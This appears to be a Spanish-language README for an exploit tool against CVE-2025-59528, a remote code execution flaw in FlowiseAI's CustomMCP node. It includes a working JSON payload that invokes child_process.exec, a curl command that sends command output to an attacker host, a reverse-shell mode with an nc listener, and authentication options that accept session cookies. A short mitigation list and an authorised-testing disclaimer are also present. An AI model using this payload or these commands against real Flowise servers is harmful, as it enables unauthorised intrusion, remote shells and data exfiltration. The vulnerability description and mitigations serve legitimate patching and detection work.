CVE-2025-59528 - Ejecución Remota de Código en FlowiseAI CustomMCP

CVSS 10.0 (Crítico) | RCE Ciego | FlowiseAI Flowise >= 2.2.7-patch.1 y < 3.0.6

Resumen

Una vulnerabilidad crítica de ejecución remota de código en el nodo CustomMCP de FlowiseAI Flowise. La función convertToValidJSONString pasa la entrada proporcionada por el usuario desde el parámetro mcpServerConfig directamente al constructor Function() de JavaScript, funcionalmente equivalente a eval(), permitiendo la ejecución de código JavaScript arbitrario con todos los privilegios del tiempo de ejecución de Node.js.

• Descubierto por: Kim SooHyun (@im-soohyun)
• Aviso: GHSA-3gcm-f6qx-ff7p
• Corregido en: Flowise v3.0.6 (se reemplazó Function() por JSON5.parse())

Código Vulnerable

En packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, líneas 262–270:

function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← arbitrary code execution
}

El flujo de contaminación:

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

Explotación

Esto es un RCE ciego: la salida del comando no se refleja en la respuesta HTTP. Utilice técnicas de callback (curl/wget) o una reverse shell para confirmar la ejecución.

Requisitos

Payload

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

Uso

pip install requests

Verificar si el objetivo es vulnerable (basado en tiempo)

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

Ejecución ciega de comandos

# Exfiltrar salida mediante callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

Shell inversa

# Iniciar listener
nc -lvnp 4444

# Ejecutar exploit (intenta automáticamente bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

Opciones de autenticación

# Autenticación JWT (Flowise >= 3.0.1)
--email [email protected] --password pass

# Autenticación básica (Flowise < 3.0.1 con variable de entorno FLOWISE_USERNAME)
--username admin --password pass

# Cadena de cookie sin procesar (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."

Mitigación

• Actualice a Flowise >= 3.0.6
• Restrinja el acceso a la API mediante firewall/VPN
• Habilite la autenticación en todas las instancias
• Monitoree los registros en busca de solicitudes POST a /api/v1/node-load-method/customMCP

Referencias

• NVD — CVE-2025-59528
• Aviso de GitHub — GHSA-3gcm-f6qx-ff7p
• Análisis de amenazas de SonicWall
• Commit de corrección — Flowise v3.0.6

Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativas. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización adecuada antes de realizar pruebas.